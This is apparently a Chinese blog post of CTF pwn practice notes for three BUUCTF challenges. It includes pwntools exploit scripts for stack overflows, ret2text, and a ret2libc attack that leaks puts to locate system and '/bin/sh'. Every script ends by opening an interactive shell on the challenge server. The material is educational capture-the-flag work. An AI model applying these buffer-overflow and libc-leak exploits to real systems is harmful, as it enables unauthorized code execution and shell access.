首页 > 其他分享 >pwn刷题笔记

pwn刷题笔记

时间:2023-05-14 20:11:17浏览次数:32  
标签:addr system 笔记 var 地址 io pwn buf 刷题

jarvisoj_level2(ret2text)

checksec检查保护机制,开启了NX。

vulnerable_function函数处存在栈溢出漏洞:buf只能存放0x88个字节,但可以读入0x100个字节。

system函数plt地址:0x8048320
ida查看字串,“/bin/sh”地址:0x804A024

构造payload

#!/usr/bin/env python3

from pwn import *

io = remote("node4.buuoj.cn", 27969)

system_addr = 0x8048320
binsh_addr = 0x804A024
#0x88是缓冲区buf的大小,之后覆盖ebp,然后返回地址覆盖成system函数plt地址,然后是system函数执行后的返回地址,可以是任意的地址,最后字符串'/bin/sh'地址。 payload = b'a' * 0x88 + p32(0x1234) + p32(system_addr) + p32(0x1234) + p32(binsh_addr) io.recvline() io.sendline(payload) io.interactive()

 

bjdctf_2020_babystack

  

 mian函数的主要代码

char buf[0x10-0x4];
int nbytes;
scanf("%d", nbytes);
read(0, buf, nbytes);

可以控制输入的字符个数。当输入的字符个数大于buf缓冲区的长度时,会发生溢出。

溢出后控制程序执行system函数,地址为0x04006E6

  

完整EXP

#!/usr/bin/env python3

from pwn import *

io = remote("node4.buuoj.cn", 29476)

backdoor_addr = 0x004006E6
payload = b'a' * 0x10 + p64(0x1234) + p64(backdoor_addr)

io.recvuntil(b"Please input the length of your name")
io.sendline(b'200')
io.recvline()
io.sendline(payload)
io.interactive()

 

[OGeek2019]babyrop

给了程序文件和libc.so链接库文件。

checksec查看保护,开启了NX和RELRO

  

RELRO(relocation read-only),说明GOT表不可更改。

主要代码(由汇编代码手写出来)

main函数{
    fd = open("/dev/urandom", "");
    read(fd, buf, nbytes);
    sub_804871F(buf);
    sub_80487D0(var_4);
} sub_804871F(arg_0){ char s[0x4C-0x2C]; char buf[0x2C-0x25]; int var_c;
   char var_25[0x25-0x0C]; memset(s, 0, 0x20h); memset(buf, 0, 0x20h); sprintf(s, "%ld", arg_0); var_c = read(0, buf, 20h); buf[var_c - 1] = 0; if(strncmp(buf, s, strlen(buf)) == 0) write(Correct);
     return var_25; else exit();
}

sub_80487D0(char arg_0 = sub_804871F的返回值){
  char var_EC[0xEC-0xE7];
  char buf[0xE7];

  var_EC = arg_0;

  if(var_EC == 0x7F)
    read(0, buf, 0xC8)
  else
    read(0, buf, var_EC)

}

程序解析

对于sub_804871F::read函数获取输入可以导致buf溢出,但buf溢出的字符不足以到达ebp和返回地址。s是随机数,在strncmp比较时需要使buf的长度为0才能绕过检查。

对于sub_80487D0:var_EC可控,利用read(0, buf, var_EC)的溢出漏洞执行想要执行的程序。

利用思路

在sub_804871F这块

   1、buf以"\x00"开头,绕过随机数比较  

   2、溢出buf使var_25返回一个ascii码比较大的字符(至少大于0xE7),这里取单个字节可表示最大的字符“\xFF”。

在sub_80487D0这块

  利用read(0, buf, var_EC)对buf进行溢出,buf大小为E7,可输入大小为FF,一共可溢出24个字节。

system函数的真实地址

  ida查看字串,没有system函数,但给出了libc.so动态链接库文件。

  因为 system() 函数和 write() 在 libc.so 中的 offset (相对地址)是不变的,所以如果我们得到了 write() 的真实地址并且拥有 libc.so 就可以计算出 system() 在内存中的真实地址了。

write函数地址真实地址

构造栈结构如下,溢出buf获得write函数真实地址

高地址
  got['write']   0x8048825,执行完plt后的返回地址,main函数地址   plt['write']   ebp   E7 * 'a'
低地址

完整的EXP

#!/usr/bin/env python3

from pwn import *

libc = ELF("./libc-2.23.so")
elf = ELF("./babyrop")

io = remote("node4.buuoj.cn", 26169)
#io = process("./babyrop")

payload_1 = b'\x00' + b'a' * 6 + b'\xFF'
io.sendline(payload_1)
print(io.recv())

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = 0x8048825

payload_2 = b'a' * 0xE7 + p32(0x1234) + p32(puts_plt) + p32(main_addr) + p32(puts_got)
io.sendline(payload_2)
puts_addr = u32(io.recv(4))
print(f'puts_addr:{puts_addr}')

io.sendline(payload_1)
print(io.recvuntil(b"Correct\n"))

#计算函数puts地址偏移,利用偏移计算出system函数及字符串‘/bin/sh’地址 offset = puts_addr - libc.symbols['puts'] system_addr = offset + libc.symbols['system'] binsh_addr = offset + next(libc.search(b'/bin/sh')) payload_3 = b'a' * 0xE7 + p32(0x1234) + p32(system_addr) + p32(0x1234) + p32(binsh_addr) io.sendline(payload_3) io.interactive()

 

 

标签:addr,system,笔记,var,地址,io,pwn,buf,刷题
From: https://www.cnblogs.com/jimmy-hwang/p/17399392.html

相关文章

  • 【2023 · CANN训练营第一季】进阶班笔记1
    1.在AscendCL中,关于媒体数据处理V1版本中的内存申请/释放接口acldvppMalloc/acldvppFree:该接口主要用于分配内存给Device侧媒体数据处理时使用,申请的大页内存满足数据处理的要求(例如,内存首地址128字节对齐)。调用该接口申请内存后,如果内存不使用,需及时调用acldvppFree接口释放内存频......
  • Unreal Engine 大象无形学习笔记 (第一部分:虚幻C++编程)
    Q1.什么时候继承自UObject类,什么时候声明纯C++类?UObject自带功能:1.垃圾收集:继承自UObject并被标记为UProperty的变量,会被引擎自动进行生命周期管理。2.Referenceupdating引用自动更新3.反射4.序列化:纯C++类也可以手动实现5.Automaticupdatingofdefaultproperty......
  • http cache 笔记转载
    HTTP协议的Cache-Control指定请求和响应遵循的缓存机制。在请求消息或响应消息中设置Cache-Control并不会影响另一个消息处理过程中的缓存处理过程。请求时的缓存指令包括:no-cache、no-store、max-age、max-stale、min-fresh、only-if-cached等。响应消息中的指令包括:publi......
  • pwntools
    PwntoolsCheatsheet(github上薅的)(方便自己查找)ProgramInteractionEnvironmentandContextsLoggingandOutputEncoding,PackingandUtilityAssemblyandShellcraftELFs,StringsandSymbolsReturnOrientedProgrammingSROPandSigreturnFramesFormatStringEx......
  • MISC刷题心得 与百度,谷歌,github语法总结
    MISC介绍:MISC,中文即杂项,包括隐写,数据还原,脑洞、社会工程、压缩包解密、流量分析取证、与信息安全相关的大数据等。竞赛过程中解MISC时会涉及到各种脑洞,各种花式技巧,主要考察选手的快速理解、学习能力以及日常知识积累的广度、深度。misc几种常见格式文件头:png:89504E47jpg:FFD......
  • babylon.js 学习笔记(1)
    简单来说,babylon.js是一个能跑在浏览器上的(3D)游戏渲染引擎,而且官方提供了一个友好在线交互学习平台Playground,其开源项目在github上star数截止2023.05.14高达20.6K。下面是官方文档的学习笔记:一、helloworld强烈建议新手通过Playground在线体验,先来看第1个示例:核心代码如......
  • python安全攻防学习笔记一 语言基础篇
    1.列表python中创建一个列表,只要把逗号分隔的不同的数据项使用方括号括起来即可。如:l1=["你好",0,1,2,3,4,5,6,7,8,9,0]l2=["嘟嘟嘟嘟嘟","雪球来了"]列表中的数据可以进行增删改查,方法有:dell1[1]#删除指定的数据l1.append("我不好")#在末尾添加数据......
  • 显示器与显卡的关系,记录古董笔记本的显示器画质提升经历
    手上有一台老笔记本,用了5年了。显示效果辣眼睛。就一直用公司电脑,家里的就闲置了很久。有一天,拿公司闲置显示器到家里,插上笔记本一试。哇塞!不得了,这画面效果比我笔记本好多了。但是分辨率是一样的,画质提升不少。我就想,如果显示屏再厉害一点,分辨率能不能提高?帧数能不能提高?上......
  • 线段树合并 学习笔记
    算法两棵动态开点线段树,直接把一棵线段树上的信息合并到另一棵树上。递归合并:如果某个节点两棵都有,合并,然后递归下去。否则直接返回节点。复杂度证明记权值线段树值域范围为\(m\),\(n\)次插入操作。因为动态开点,一次插入会新增\(\log_2m\)个节点,总节点数\(n\ti......
  • Java学习笔记7
    ......